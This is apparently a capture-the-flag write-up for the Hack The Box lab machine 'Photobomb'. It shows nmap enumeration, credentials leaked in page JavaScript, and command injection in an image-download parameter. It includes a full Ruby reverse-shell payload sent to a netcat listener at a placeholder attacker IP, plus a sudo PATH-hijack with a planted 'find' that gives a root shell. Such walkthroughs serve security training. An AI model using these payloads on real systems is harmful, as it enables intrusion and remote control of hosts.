Enumeration
Nmap
We start by running an nmap
scan on the most common 1000 ports using the flag -sV
to perform a service/version scan, and the -sC
flag to perform a script scan using the default set of scripts:
$ nmap -sC -sV 10.129.74.222
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 13:40 EST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 13:40 (0:00:06 remaining)
Nmap scan report for 10.129.74.222
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds
Port 80
We add photobomb.htb
to /etc/hosts to resolve the vhost address:
$ echo -e "10.129.74.222\tphotobomb.htb" | sudo tee -a /etc/hosts
10.129.74.222 photobomb.htb
We take a look at what web technologies the website is using with whatweb
:
$ whatweb http://photobomb.htb
http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.74.222], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Looking at the source code, we find the photobomb.js
script where there are credentials to login to the app:
view-source:http://photobomb.htb/
:
<!DOCTYPE html>
<html>
<head>
<title>Photobomb</title>
<link type="text/css" rel="stylesheet" href="styles.css" media="all" />
<script src="photobomb.js"></script>
</head>
<body>
<div id="container">
<header>
<h1><a href="/">Photobomb</a></h1>
</header>
<article>
<h2>Welcome to your new Photobomb franchise!</h2>
<p>You will soon be making an amazing income selling premium photographic gifts.</p>
<p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
<p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
<p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
</article>
</div>
</body>
</html>
view-source:http://photobomb.htb/photobomb.js
:
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
Visiting http://pH0t0:b0Mb!@photobomb.htb/printer
we login as user pH0t0.
Once in, we have the option of downloading images while specifying the size and the file type.
This is the HTTP POST request when downloading an image:
POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000
Changing the filetype
attribute to other extensions other than jpg
or png
gives us this response:
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Dec 2022 19:54:50 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 17
Connection: close
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Invalid filetype.
Injecting the command sleep 10
after the second parameter, filetype=jpg;
, gets us this response after 10 seconds:
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Dec 2022 20:33:15 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 67
Connection: close
Content-Disposition: attachment; filename=voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg;sleep 10
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg
confirming that the second parameter is vulnerable to command injection.
Adding a new line after the second parameter, gets us this response:
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Dec 2022 19:59:35 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 316
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
<HEAD><TITLE>Internal Server Error</TITLE></HEAD>
<BODY>
<H1>Internal Server Error</H1>
WEBrick::HTTPResponse::InvalidHeader
<HR>
<ADDRESS>
WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25) at
127.0.0.1:4567
</ADDRESS>
</BODY>
</HTML>
revealing that the HTTP server functionality is provided by the Ruby library WEBrick.
Getting a Shell
We start a netcat listener session:
$ nc -lvnp <PORT>
listening on [any] <PORT> ...
We try to inject the following URL encoded Ruby reverse shell command:
ruby+-rsocket+-e'spawn("sh",[%3ain,%3aout,%3aerr]%3d>TCPSocket.new("<OUR IP>",<PORT>))'
sending this request:
POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;ruby+-rsocket+-e'spawn("sh",[%3ain,%3aout,%3aerr]%3d>TCPSocket.new("<OUR IP>",<PORT>))'&dimensions=3000x2000
getting as a result a shell as the user wizard
:
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.74.222] 44636
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
User Flag
We find the user flag in wizard
’s home directory:
ls /home
wizard
ls /home/wizard
photobomb
user.txt
cat /home/wizard/user.txt
c4e**************************afb
Privilege Escalation
We now check what we can do as root:
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
We can set an environment variable while executing the cleanup.sh
script.
Here is the script:
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
The script invokes find
without specifying its full path.
Because of the SETENV
directive, we can let the system invoke our own evil find
to spawn a root shell.
We do this by setting the PATH
environment variable to where the evil find
is located while executing the cleanup.sh
script.
We first create the evil find
file:
echo "/bin/bash" > find
chmod +x find
and then we execute the script to get a root shell:
sudo PATH=$PWD:$PATH /opt/cleanup.sh
id
uid=0(root) gid=0(root) groups=0(root)
Root Flag
We can find the root flag in the root
directory:
ls /root
root.txt
cat /root/root.txt
6b5**************************d41